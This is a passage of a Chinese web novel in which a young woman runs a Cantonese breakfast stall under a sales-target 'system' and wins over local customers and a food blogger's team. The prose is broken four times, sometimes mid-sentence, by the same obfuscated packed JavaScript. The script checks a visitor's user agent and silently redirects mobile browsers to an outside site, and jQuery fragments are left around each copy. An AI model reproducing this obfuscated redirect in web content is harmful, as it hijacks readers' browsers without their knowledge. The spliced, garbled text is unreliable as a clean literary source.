出于担忧,他出言提醒道,“你要是想吃什么就跟爸爸说,外面的东西也不知道用什么做的,你还是少吃一些。”
姚晓彤随口应下,背起书包就出了门,走了五分钟,就到了学校门口。
文具店前已经围了七八个学生,不少人都眯着眼打着哈欠,一看就是没睡醒的模样。
但大家都做着同样的动作,付钱,接过早餐,一边走一边捧着塑料袋吃了起来。
比起放学时的喧嚣,清晨的文具店前显得格外安静,只有收款到账的提示音一直在不断响起。
而一旁等着看笑话的书店老板十分不解,这到底怎么回事?学生们都味觉失灵了?怎么都去那里买早餐?
等学生们都进学校了,他又悄悄去瞧了瞧隔壁的文具店,发现冯姐进的早餐,竟然都卖空了!
直至第二日他才打听到,原来那个姓夏的姑娘和冯姐压根没掰,还让冯姐帮忙代销早餐。
那到头来赔钱的,不就还是只有自己一个人吗!
另一边,姚建斌将刚刚下楼买的早餐,放到了姚晓彤的面前。
昨日姚晓彤提出不想吃早餐,他便反省了一下,决定从今天起给女儿改善改善伙食。
只是他的厨艺实在有限,再说早上时间紧,也来不及做些什么大餐,便去楼下的陈记早夕买了两个流沙包。
他觉着,这流沙包甜甜的,小孩子肯定都喜欢吃,而且自己是这家店的熟客,经常看店里的师傅现包,再怎么样,应该也要比姚晓彤买的要好吧。
姚晓彤揉着眼睛,打量眼前的流沙包,“爸,我都说了不吃了。”
“学校附近那些店专门做你们学生的生意,也不知道用的是什么东西做的,”姚建斌把包子往前推了推,“这家店我平日常去,味道不错,你尝尝?要是喜欢,明天爸爸还给你买。”
姚晓彤深深地叹了一口气,无奈地拿起包子,咬了一口。
嗯……怎么尽是面皮?里头的馅呢?
她又咬了一口,还是满嘴的面皮,只不过这回能看见藏在包子皮中的一抹黄色了,看来馅还在里头。
她“啧”了一声,将包子放下,“不吃了,我赶时间上学呢。”
姚建斌把剩下的流沙包都吃完了,不得不说,馅料确实少了一些,味道有点太甜了,但总体来说还过得去。
尽管姚晓彤并不乐意,他的“觅食”计划并没有停止,第二天一早又出了门。
只不过他不打算再去陈记早夕了,而是打算在这附近转悠,看看有没有别的早餐能买回去。
走了不远的路,他就看见不远处有一家早餐铺,铺子前围了四五个人。
再走过去一看,好家伙,怪不得那么多人,这家老板在现炸咸水角啊!
夏咏恩用筷子碌了碌油锅里咸水角,“大哥你要几个?这一锅已经售空了,你要的话可能得等下一锅。”
她一边招呼客人一边在心里盘算,今天已经是周四了,昨天的营业额终于达到了日均营业额要求的286元。
可前面刚开业两天生意不好,离286元差了三四十块,自己得赶紧补上,才能尽快完成任务,解锁更多的点心。
因此,今日一早她紧赶慢赶地将咸水角提升到了A等级,立马就拿到早餐铺上新了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492861|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
至于咸煎饼,还差45个熟练度才能升级,如无意外,明天就应该能出现在早餐铺里了。
之前赖美珍买的食材中并没有包含咸水角的,所以今日一早,两人先去了市场采买,再回来准备点心。
因为准备的时间不够,夏咏恩只好等到营业的时候再来炸咸水角,没想到就吸引了许多路过的行人,刚炸好放在一边的咸水角快速售空,她又得马上现炸一批。
站在早餐铺前的姚建斌,看着油锅里的咸水角直冒口水。在他小的时候,奶奶最喜欢做的就是咸水角,现在好多年都没吃过现炸的了。
别说现炸的了,就是新鲜制作的也都少见,大多茶楼都是从外面进的成品回来再炸一炸就上桌,味道压根就不对。
这油锅里的咸水角金黄金黄的,实在是诱人得很,他立马说,“我要,给我来两个吧。”
姚建斌付了六块钱,站在队伍的最末,看着赖美珍端出一大盘刚包好的咸水角。
咸水角一个个掉进油锅中,这个时候的外皮还是白色的,夏咏恩用筷子把咸水角一个个撩开,防止互相粘在一起。
炸了两分钟,白色的外皮就开始浮现出珍珠泡。
她用筷子碌了碌咸水角,让咸水角翻面,又炸了一会,白色的外皮渐渐变黄,直到外皮泛着金黄色的色泽,才捞起来放到一边控油。
姚建斌等了好一会,终于拿到自己的那份咸水角。
咸水角整体的形态似饺子,也是两头尖中间鼓,经过油炸后并没有软塌下去,看起来十分可口。
刚炸出来的咸水角外层有金黄色酥泡,看起来就像珍珠一样,因此又叫珍珠泡。
光是看着这表面密集的酥泡,姚建斌就知道这咸水角绝对好吃。
他着急忙慌地把咸水角捧到嘴边,轻轻地咬了一口。
那一层酥脆的表皮被咬破,敞开了一个小口,从小口中可见,里头的虾米、韭菜段以及香菇碎嵌在了猪肉馅中,塞得满满当当。
忍着滚烫的表皮,他又咬了一口,就吃到了内层的糯米皮。
糯米皮经过油炸后多了几丝韧劲,吃起来又糯又韧,还有一丝微微的甜香。
再咀嚼几口,就能吃到咸鲜十足的馅料,馅料中还加了一些爽脆的萝卜干作为点缀,增加了整体的口感,也减弱了油炸而带来的油腻感。
他实在是忍不住发出喟叹:太好吃了!
虽然不可能跟奶奶做的味道一模一样,但酥脆的外皮,甜糯的内层,以及甚至还带有一些汁水的馅料,自己可从没有在别的地方吃到过。
别说是街边的小店了,就是在茶楼,他也没有吃过这么好吃的。
姚建斌捧着手里的咸水角一路往家的方向走,等他踏进小区的时候才发现,自己手上竟然就剩下了一个空的纸盒子。
两个那么大的咸水角,都进他肚子里了!
再一看时间,都七点十五了,再去排队买,肯定也是来不及了。
正准备出门的姚晓彤看了他一眼,“爸爸你去哪里了呀?”
姚建斌露出了尴尬的笑容,“额,我去办了点事。你快出门吧,再不出门就迟到了。”
姚晓彤觉得有些奇怪,但因为赶时间上学,只好匆匆转身离开。
而姚建斌回味着方才的咸水角,下了决心,自己明天一定更早起来,让宝贝女儿也尝到这么好吃的东西才行。
18. 咸煎饼
隔日,姚建斌就一早出了门。
昨天晚上,他特意跟姚晓彤说了那家早餐铺卖的咸水角如何好吃,说着说着他口水都快流出来了,“明天一早爸爸给你带回来尝尝,真的特别好吃。”
姚晓彤从小不爱吃韭菜,对咸水角自然是敬而远之。可见爸爸这么激动,她只好点了点头,心里头却打算,明天小咬一口就得了,留着肚子去学校买早餐。
姚建斌不知道她心里的盘算,一大早就下了楼,哼着歌又去了昨天买咸水角的地方。
他今天来得早,店门前只有三个人在等。夏咏恩笑着招呼,“大哥想吃什么?”
姚建斌的视线扫过面前的玻璃柜台,定格在那一盘咸水角上,刚想开口要上几个,眼尾却瞥见,油锅里正炸着四个圆圆的煎饼。
他双眼大睁,什么?这里居然有卖咸煎饼?
花城有新年以油润锅的习俗,所以许多人家都会炸上一大锅咸水角、油角、蛋散等等。
而在所有的炸货之中,咸煎饼对小孩子来说是极致的美味。
姚建斌记得,奶奶做的咸煎饼最是好吃,每年他最馋的就是这一口。
只可惜这些年随着年味变淡,许多习俗也渐渐没有了,姚家过年也不再做炸货了。
咸水角还能在茶楼买到,可咸煎饼他是真的许多年没有吃过了。
“咸煎饼五块一个,手工现做的,大哥要尝尝吗?”
玻璃柜台后的珍姨从罐子里挖了一大块红腐乳放进面粉中,又加入白砂糖和清水,将面粉化成了微红色的面团。
待面团发酵好后,珍姨撒上一大把白芝麻,再将面团放进油锅中,用小火慢慢炸至面团带有淡淡的焦黄。
姚建斌看了看手表,现在刚好七点,又问了一句,“要等多久啊?”
前头的一个大姐扭了头,“那你要等好一会了,这一锅还有下一锅都卖出去了。”
夏咏恩翻动着油锅里的咸煎饼,带着歉意说,“恐怕要等二十分钟才行。”
昨日的咸水角小,一锅能放下十几个,可咸煎饼有脸那么大,一个油锅就顶多就能放下四个,等的时间就长了。
等今天收档后,得去市场买一个大一点的油锅才行了。
听到这话,姚建斌忍不住发出一声哀叹,二十分钟实在是有点久了,看来自己今天是买不到咸煎饼了。
无奈,他只得要了两杯冰豆浆,还有四个咸水角。
等他回到家,姚晓彤已经醒来了,正在卫生间洗漱。
面对姚建斌带回来的早餐,姚晓彤显得兴致缺缺,但还是给足了面子,浅尝了一口。
姚建斌目不转睛地看着女儿,连忙问道,“味道怎么样?”
姚晓彤一开始只想吃一小口,可这个咸水角实在是酥脆又软糯,外皮甜丝丝的,她实在是忍不住,就捧着吃了起来。
但一吃到里头的馅,她的眉毛就皱了起来。尽管虾米、香菇和猪肉都十分鲜美,可韭菜的味道,还是让人有点恶心。
只不过,她还是吃完了一整个咸水角,给出了较高的评价,“还挺好吃的,要是没有韭菜就好了。”
见女儿好不容易肯定了自己买回来的东西,姚建斌心情立马就舒畅了,笑眯眯说,“今天人多,明天恰好周末,爸爸带你一起去买咸煎饼。”
“咸煎饼?那是什么?”
“哎呀,明天你吃了就知道了,肯定好吃!”
另一边荣兴楼前,徐梦也在排队买着咸煎饼。
自从发现了这家宝藏小店,她再也没有去过陈记早夕了。每天晚上睡觉前,她都要想一遍第二天早上要买什么点心,睡梦里都是自己吃东西的画面。
今日一早,她也来到了荣兴楼前的早餐铺。
夏咏恩对她有几分印象,连忙招呼,“今天有新出的咸煎饼,要买一个尝尝吗?”
徐梦的耳朵立马竖了起来,咸煎饼?又看了一眼铁盘里放着的咸煎饼,上面撒了许多白芝麻,饼身散发着黄褐色的光泽,怎么可能不好吃嘛!
她立马就要了一个咸煎饼,一个咸水角,还有一个玉米饼,外加一个茶叶蛋,一共十块钱。
今天没有买喝的,外加三样点心都是油炸的,还往外冒着热气,所以她就没有在路上吃,打算回公司后,再坐在工位上慢慢品尝。
顶着大太阳,徐梦一路快走到地铁站,浑身上下每个毛孔都冒出了汗。
她体型壮实,本就比其他人更加怕热,住在花城就更是遭罪了,光是上下班走这一小段路,身上就都汗湿了。
偏偏地铁车厢里的空调又开得大,刚出过汗的背竟生出一丝凉意。她心道不妙,一冷一热交替,自己怕是要感冒了。
坐了半个小时的地铁,徐梦提着早餐来到公司,或许是方才受了凉的缘故,现在整个人都有点蔫了。
回到工位,她拿出刚刚买好的早餐,又去茶水间倒了一杯热茶,准备开吃。
徐梦拿起一个玉米饼,咬了一大口,顿时就精神抖擞了,方才吹了空调后隐隐作痛的太阳穴,也好像消停了。
就在这个时候,同事米莱走了过来,“梦梦,你吃什么呢?”
徐梦边啃边介绍道,“我跟你说,我家楼下开了家卖早餐的,可好吃了。”
米莱看了看徐梦桌面上的早餐,作为一名美食博主,这些粤式小吃她吃多了,并不觉得有什么惊奇的。
而且这些小吃都是油炸的,为了保持身材,她平时都是吃白人饭为主,等拍视频的时候,要是吃到好吃的食物,就会更幸福。
所以,米莱对徐梦桌上的这些东西,并没有提起什么兴趣。
可她还是捧场道,“见你吃得那么香,搞得我都想吃了。”
大学的时候,米莱闲来无事拍了几条美食视频,没想到一夜之间意外走红。
原本她只是想当成副业来做,可大学毕业后一直找不到好工作,于是就开始正经干起了美食博主,签了一家MCN公司,还拉了自己的舍友徐梦入伙。
现在团队里除了她之外,还有一个摄影师负责拍摄与后期,而徐梦平时只负责文案以及运营,出镜与内容策划是米莱负责。
其实一开始,内容策划的工作交给了徐梦负责。但很快米莱就发现,徐梦这么壮实的身材,还真不是白来的,她可太能吃了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492862|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不仅是食量大,胃口还特别好,只要是味道还不错的食物,放在徐梦的口中,那就是惊为天人。
所以,每次选择下一期的探店餐厅时,米莱都忍不住对徐梦的推荐产生些许怀疑。
不过这事,徐梦自然是不知道。
见米莱这样说,徐梦将桌面上的咸水角递了过去,“你快吃这个,这个超级好吃!”
“我就不吃那么多了,我怕你吃不饱。”米莱接过咸水角,掰了一小半,看见里头包了满满的馅料,忍不住感叹一句,“这个咸水角的料很足啊。”
在徐梦的注视下,她将那一小块咸水角塞进了嘴巴里,慢慢地咀嚼着。
正是因为她吃得很慢,所以每一个食材的味道都尝得十分真切,咸甜两种味道不断在口中变换,越嚼越上瘾。
将最后一口吞下之后,她不由得发出了赞叹,“梦梦,你也太会买了,这咸水角真的不错。”
徐梦将桌上的咸煎饼掰了一半,“这也是我在那家买的,你快尝尝。”
随着“咔嚓”一声,咸煎饼被分成两半。原本热腾腾的咸煎饼现在已经冷了下来,外圈的表皮已经微微发硬,但最中心的部分却还是十分酥脆。
吃了刚刚那一小块咸水角后,油脂与碳水瞬间激活了米莱的食欲。她朝这半块咸煎饼投去了渴望的目光,赶紧接过那半块咸煎饼。
她轻轻咬下一小口,下一秒,立刻惊呼,“唔!这个口感——”
咸煎饼的最外圈由于比较厚,吃起来微微韧,但咬下去后就发现里面的面团却很是松软。
而咸煎饼的中心是整块面团最薄的部分,经过油炸之后,一口咬下去酥得掉渣。
出乎意料的是,整块饼的味道并不是她所想象的那般浓郁。
尽管里头放了不少南乳,可那股咸鲜与发酵的复合味道却并不会太重。
入口之后尝到的先是淡淡的甜味,仔细咀嚼后,便能平常出咸淡适中的南乳味,再加上这铺满了整个面皮的白芝麻,吃起来特别特别香!
吃完半块咸煎饼,米莱忍不住感叹,这回徐梦可真是找对了地方。
徐梦见米莱吃得高兴,干脆提议,“要不下周我给你带早餐好了,我把菜单发给你,你看看想吃什么?”
米莱下意识就想答应,可想了想,还是狠下心拒绝了,毕竟自己还要上镜,不能天天吃这些油炸的。
想到以后自己每天早上又要吃沙拉和酸奶,她就忍不住长叹了一口气。
看着徐梦吃完了另外那半块咸煎饼,米莱心里的馋虫又开始蠢蠢欲动。
她赶紧别过头,要是再看多几眼,恐怕自己就要改口让徐梦帮忙带早餐了。
为了抑制食欲,米莱只好去茶水间倒杯黑咖啡。刚转身,就见摄影师陈琛回来了。
他摘下帽子,放下背包,马上就诉苦道,“不是我说,那个梁修文也太难搞了吧!”
米莱停下脚步,无奈地叹了口气,“看来,你也搞不定他啊。”
徐梦擦了擦嘴看向二人,“啊?梁修文真有那么难对付?”
陈琛和米莱双双点头,“当然了!”
19. 姚建斌的回忆
一提起梁修文,米莱就开始发愁。
上个月,公司接到了一家花城驰名乳鸽店的商业合作,甲方点名要米莱的频道来负责这一次的推广视频。
大学毕业后,米莱决定把美食频道认真做起来,于是签约了一家本地的MCN公司,叫蒸汽传媒。
她知道签约公司肯定会有弊端,比如创作的自由会受到一定的限制,可她也知道,凭粉丝们的打赏压根养活不了自己,公司给频道带来的流量扶持以及广告收入,对米莱一个刚进入社会的大学生很是重要。
她的频道“小米食饭”是一档结合了人文历史的美食频道,拍摄的内容除了美食之外,也会结合美食的来源谈起当地的文化习俗,是偏向治愈类型的。
所以,为了更契合频道的氛围,公司给她接洽的商业合作都是在本地开了几十年甚至上百年的老店。
这些老店的出品普遍不错,在花城人的心里也有一定的分量,所以米莱频道的商业合作并没有遭到粉丝们的排斥。
反而很多人还觉得,正是因为有米莱的频道,才让其他省份的观众得以了解更多花城的美食。
外省的粉丝则认为,许多美食频道要么哗众取宠,要么净去网红店吃漂亮饭,根本没有一丝生活气息。
通过“小米食饭”能够了解更多花城的文化,知道美食背后的历史故事,这频道简直是一股清流。
而为了保证频道的观感,米莱将商业合作视频严格控制在两个月一条,这样的操作,更是大大增加了粉丝们的好感。
因此,“小米食饭”的粉丝粘性强,互动率高,是许多花城食肆的常年合作对象。
这次的甲方之前和米莱已经合作过几次,都沟通得很是顺利,不过这回的商业合作中,甲方还多了一条要求。
乳鸽店老板希望,“小米食饭”可以和梁修文一起拍摄这一条探店视频。
梁修文是本地小有名气的美食作家,在他之前发行的一本散文集中,有一篇名为《荔枝木》的短篇散文,提到了他曾光顾这家乳鸽店的往事。
所以甲方才希望米莱的团队可以帮忙,把梁修文请来店里做一个联动。
为了能够达成合作,米莱将梁修文查了个遍。这一搜才发现,他为人低调,并没有开通任何的社交平台账号,关于他的消息也很少,只是有传言说他是高材生,容貌不俗。
因为在网上找不到他的任何联系方式,米莱通过出版社,几番周折才找到了他的电话。
上一周,她亲自去拜访,没能成功;今天陈琛一大早又去了,依旧是空手而归。
陈琛喝了一大口水,说起了今天的见闻,“不过他的态度倒是挺好的,还说要留我吃午饭。要不是得赶回来剪片子,我肯定就答应了。”
听完陈琛说的话,米莱瘫倒在办公椅上,哀嚎一声,“唉!”
作为团队的主心骨,她还是很快就打起了精神,看向一旁的徐梦,“下周你再去一趟吧,再不行也没办法了。”
徐梦虽然答应了,可心里却想:我吗?
其实,梁修文的书她读过不少,也能算是他的书迷。
一开始知道要和梁修文合作,徐梦心里很是高兴,可看现在的情况,这事多半是成不了。
虽说能亲眼见到梁修文,她自然欣喜万分,可一想到自己肩负说动他合作的艰巨任务,她的心里便添了几丝忧愁。
陈大哥见多识广,米莱能说会道,而自己除了吃和会写文案之外,什么都不会啊!
米莱看出她内心的担忧,又补了一句,“你别有压力,反正这个事情不成,就交给老板去头疼呗,我肯定是不会怪你的。”
徐梦点了点头,将视线投回面前的屏幕,悄悄地叹了口气。
隔天周六,早上十点,姚晓彤揉着眼睛从床上爬了起来。
姚建斌一早就准备好了,看见宝贝女儿起床了,兴致勃勃道,“快出门,爸爸今天带你去吃好吃的。”
姚晓彤这才想起来,昨天爸爸提起要带自己去什么宝藏早餐铺。
她一边洗漱一边对着镜子思索,前几天她就计划好了,等到周末一定要去夏姐姐的早餐铺捧场。
待会干脆就陪着爸爸随便垫一口,再去夏姐姐那里敞开了肚皮吃。
两个人走到了荣兴楼门前,姚建斌拉着姚晓彤的手,指了指油锅里炸的咸煎饼,“你看那是什么?”
姚晓彤顺着他的手指看过去,见那油锅里炸着不少东西,再一抬头,和玻璃柜台后站着的人对上了视线。
一声惊叫从她的口中发出来,“夏姐姐!怎么是你呀!”
夏咏恩回过神来,只见一张熟悉的面容,正贴着玻璃柜台对自己笑着打招呼。
“晓彤,你怎么来啦?”
姚建斌看着二人熟络的模样,有些丈二和尚摸不着头脑,心里头直泛嘀咕:不是,你们两个怎么会认识?这不是我发现的宝藏小店吗!
夏咏恩对他说,“早知你是晓彤的父亲,我就替你留着咸煎饼和咸水角了,这样你就不用来排队等着了。”
“爸,我在学校买的点心就是这个姐姐做的,可好吃了。”
经过二人一解释,姚建斌才恍然大悟。
这下,他终于是明白了,怪不得前阵子女儿都吃得饱饱的才回家,这几天又赶着回学校买早餐,换做是自己,肯定有过之而无不及。
这样一想,姚建斌不免有些沾沾自喜起来。果然自己的宝贝女儿就是跟自己亲,连眼光都是一模一样的。
这两天上新的咸水角和咸煎饼还没有拿到学校那边去售卖,因此父女两人都对咸煎饼很是感兴趣,两个人要了一张,又要了两个茶叶蛋,还有一杯豆浆一杯马蹄爽。
期待了一天的姚建斌,终于是吃到了心心念念的咸煎饼。
咸煎饼刚炸出来没多久,还冒着热乎的气,他呲着牙吹了吹,又忍着热用手指尖撕下来一小块,直接塞进了嘴巴里。
新鲜出炉的咸煎饼外皮十分酥脆,内里有蜂窝状的小孔,嚼起来很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507278|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是松软,面团的焦香、南乳独特的豆香、芝麻的醇香,三种味道随着咀嚼不断融合在一起,真是好吃极了!
姚建斌的记忆一下子就拉回到了小时候,灰蒙蒙的老式居民楼里,油货出锅的香气飘荡在楼道里,他和堂妹表妹挤在厨房门口,看着奶奶用竹制的笊篱从油锅里捞出咸水角、油角、煎堆、蛋散等各种油货。
但这些油货绝大部分都会被拿到神龛前供奉祖先,剩下小部分被大人们收了起来,留到过年待客用。
对于小孩子来说,这些油货是世界上最美味的食物,可它们虽近在眼前,却偏偏没办法吃到,真叫人抓心挠肝。
所以,小时候姚建斌常做一件事,那就是等到晚上趁大人们都睡着之后,从房间里溜出来,走到神龛面前偷吃贡品。
他的好点子自然也传授给了表妹和堂妹,于是几家人惊讶地发现,凡是过年,神龛前就会莫名其妙地少了贡品。
最后是奶奶出来解释,应该是祖宗显灵了,这事才就此揭过。
随着时间流逝,神龛前的贡品便再也没有少过。
姚家人早就搬离了那一栋老式的居民楼,在外地工作的表妹和堂妹常年不归,笊篱和奶奶的遗物一起尘封在木箱子里,再也没有重见天日的机会。
姚晓彤正吃得开心,却见爸爸捧着手上的咸煎饼发呆,还吸着鼻子,于是问,“爸,你是不是感冒了?”
姚建斌擤了擤鼻涕,“待会我们回去看看你爷爷奶奶吧,前几天爷爷说搞了一只靓鸡回来,就等着我们回去吃呢。”
父女俩吃完早餐,和夏咏恩打了个招呼就离开了。
周日晚上,从美食广场摆完摊回来的夏咏恩,算起了这周的账。
新店开业一周,营业额为2035元,刚刚好完成系统的任务。
可昨日去菜市场买了一个大油锅,花费一百元;店里的煎炸点心占了三分之一,所以购买吸油纸以及沥油架也是必须,这里又花了两百多。
再加上这周的各种成本,能够剩下的并不多,又或者说,辛苦了一周真是一分钱都没有赚。
夏咏恩正算着账呢,珍姨从厨房里端出一大锅汤,“这是我给你煲的枸杞野山参炖土鸡汤,现在喝正好。”
“啊?这么大一锅我怎么喝得完?”
赖美珍将汤渣捞出来,“喝了对身体好啊,你看你老是累得都睡过去了,这怎么行啊?”
想起自己练习厨艺被珍姨发现的事情,夏咏恩尴尬地笑了笑,“这么热的天喝野山参,我怕燥热上火。”
“那明天我给你煲点清热解暑的,无花果煲瘦肉怎么样,还是苦瓜黄豆炖猪骨……”
夏咏恩无奈地低头喝汤,下次一定不能在珍姨面前进无界空间了!
喝完汤,她又重新打开了账本。
早餐铺第一周生意平平,幸好还有每日下午在学校以及周末在美食广场摆摊的收入可以支撑。
而冯姐那边的早餐分销生意,比夏咏恩预计的还要红火许多。
20. 祖传秘方
晚上,龙欣阁小区。
刚从小区公园溜弯回来的冯大哥,一进门就发现饭桌上摆着一盘清蒸东星斑。
一条两斤多的东星斑剃了骨,改刀切片摆了满满的一大盘,鱼身上缀着葱姜丝,蒸鱼豉油薄薄地铺在鱼身下。
冯大哥一愣,今天又不是过年过节的日子,怎么妻子买了那么大一条东星斑回来?
冯姐乐呵呵笑道,“待会再跟你说,快进来帮我拿菜。”
十分钟后,冯家的餐桌上放好了四盘菜。除了清蒸东星斑外,还有一碟从烧腊店买回来的乳鸽,一碟西芹炒百合,以及一个肉沫茄子煲。
冯姐倒了两杯天地叁号,才开始说,“先前我不是跟你说,我帮那个姓夏的姑娘代销早餐么,你猜这一个星期,我赚了多少?”
冯大哥夹了一块茄子,“你这么开心,原来就是因为这个事呀?想来应该赚得不少吧,我猜——”
他比出一根手指头,“五百?”
冯姐笑着摇了摇头,“五百我哪里舍得买这么多好菜啊,你再猜猜?”
“难不成……一千五?”
冯姐喝了一口天地贰号,自豪地说道,“翻倍!三千三!”
冯大哥闻言也震惊了,“三千三?居然有这么多学生来买?”
由于妻子之前屡战屡败的开店经历,起初他对这事是不抱希望的,只是想着有个事儿能让妻子忙活起来,打发时间也不错。
可现在看来,这是真能赚钱啊。
冯姐红光满面地跟丈夫说着代销的事,心里美滋滋的跟。虽然这三千三并不是自己一个人独享,还得分出七成给夏咏恩,可自己拿到手里的三成,也将近一千块了。
这样算下来,自己一个月起码多了四千多的收入。
而且,现在文具店的早餐业务才刚开始,很多学生还不知道,之后来买早餐的学生一定会越来越多,到时候拿到手里的,可就不只是一千块了。
可惜的是,这生意只有周一到周五有得做,遇上节假日和寒暑假,也没有客人。
冯姐虽觉得有些可惜,可她知道,只要跟着夏咏恩好好干,自己的前途肯定一片光明啊!
收到冯姐电话的夏咏恩,也替她感到高兴。
当然,令夏咏恩更高兴的,还是从冯姐那赚到的两千多块钱。
要不是有学校那边的生意兜底,下一周采买食材的费用怕是都有些困难。
这一周的阶段任务好不容易完成了,系统为夏咏恩解锁“流沙包”、“生肉包”的新配方。
与新配方一齐来的,自然就是新的系统任务了。
【阶段任务:一周内营业额达到3000元】
看着这两个新的配方,夏咏恩顾不得思索任务要求,心底里泛起一阵激动。
现在店内的品种还不够丰富,特别是煎炸类点心的油份大,吃起来容易上火,因此很多食客都偏好蒸点,可目前铺子里蒸点的选择并不多。
因此,第一周生意起不来是正常的。
但现在自己掌握了包子的配方,那之后的生意肯定会增长不少。
毕竟,和马拉糕、白糖糕相比,包子更加老少咸宜,谁不想大早上来一个软乎乎香喷喷的大包子呢?
而且生肉包和流沙包,一个咸口一个甜口,不同顾客的需求都能满足了。
只是上一周,自己勉强才能完成2000元的任务,这一周的任务上升至3000元,对早餐铺而言是一个新的挑战。
虽然是有了新的配方,可陈记早夕的点心品种比自己要更多,想要短时间内提升营业额怕是没那么容易。
因此,现在新增了流沙包与生肉包也并不保险,自己还得另寻他法,尽量提升营业额才行。
夏咏恩沉思片刻,决定从研究陈记早夕做起。
正所谓知己知彼百战不殆,想要把生意做大,就得先研究竞争对手。
之前市场调查的时候,她特意记录下了陈记早夕售卖的早餐种类以及价格,甚至还画了一张极为简陋的草图,将陈记早夕店面的各种摆设包括招牌的字样都画了下来。
对比着手上的草图,她站在荣兴楼门口看了好一会,果然发现了一个问题。
早餐铺是借用了荣兴楼前的空地开设的,其实就是将玻璃柜台和餐台外摆了而已,跟在美食广场摆摊也没什么区别。
就是因为这样,这一周自己都忽视了一个最重要的事情,那就是早餐铺没有招牌!
可以设想一下,若是一个行人恰好从街边经过,被早餐铺前排队的人吸引住了注意力从而停下脚步。
那么这时,她一定很想知晓,这家铺子到底卖的是什么。
于是她环顾四周,发现自己除了荣兴楼门头的牌匾外啥也见不到。她的心里就更疑惑了,这到底是卖什么的?
要是早餐铺前没什么人,这些路过的行人还能凑近看个清楚,可要是人多起来,定是挤不进去的。
因此,这些满心疑惑的行人,自然也不会继续停留了。
夏咏恩从杂物间里拿了一个卷尺出来,量了一下尺寸,决定在门前摆一个大灯箱,上面就写“早餐”两个字。
记好了尺寸,她去附近的灯具店里挑选灯箱,又跟店老板沟通了一遍需求,这才回了荣兴楼。
赖美珍从厨房端出来两个盘子,“你回来得正好,我刚把饭做好呢。”
盘子里放着的是咖喱牛肉饭,米饭旁边摆了六条菜心,米饭上还有两个煎得焦焦的鸡蛋。
忙了一天的夏咏恩吃得特别香,不禁感叹,真是今时不同往日了,有珍姨在,自己再也不用吃馒头了。
经过这一周的磨合,珍姨大体上对现在早餐铺所有点心的制作流程都熟悉了。
因此夏咏恩觉得,也是时候对两个人负责的工作重新分工了。
她从抽屉中拿出一叠纸,上面写着密密麻麻的字,都是系统给的配方。
“珍姨,我觉得现在的速度太慢了,所以我将目前店里的点心分为两类,一类是蒸点,一类是煎炸类以及其他,以后蒸点由我负责,其他由你负责,这样我们的效率就可以提上来了。”
赖美珍错愕地看着她,迟迟没有抬手去接那一叠纸,“阿恩啊,我、我怎么能知道这些配方?”
荣兴楼的点心部分为四大岗位,分别为捞馅、案板、煎炸、熟笼。除此以外,点心部还外设粥粉面档,由一位经验丰富的老师傅掌管,生滚粥、肠粉以及炒粉都由这位师傅负责。
赖美珍虽然是点心部的部长,可她工作的内容只是安排当天点心的生产计划、把控点心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507279|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的出品,以及对点心部的人员进行管理。
至于点心具体是怎么做的,里头用了什么馅料,只有方家人以及孙跃龙能够知道。
别说是她了,就连每一个岗位上的师傅,都不可能知道点心的具体配方。
捞馅师傅只知道馅料的原料与配比,不知道点心的皮如何制作;案板师傅精通各种点心的外皮,不知道馅料怎么做;煎炸师傅和熟笼师傅,掌握点心煎炸、蒸制的时间与火候,但对点心的配方也是一窍不通。
虽然方老爷子禁止配方外泄,可也防不住有心人想要去钻研。赖美珍做了多年的点心部长,也曾试过按照自己吃到嘴巴里的味道,一点点去分析荣兴楼的配方,可到最后还是没能成功。
因此,当她看见夏咏恩递出来的配方后,心中的震惊无以复加。
这一周,她都是像往日那样,在夏咏恩身边做辅助打下手。但凡做到关键的步骤,她就会自动走开,反而夏咏恩还大大咧咧地叫她过来帮忙。
当时赖美珍还觉得夏咏恩是太过单纯,可今天才明白,是自己想岔了!
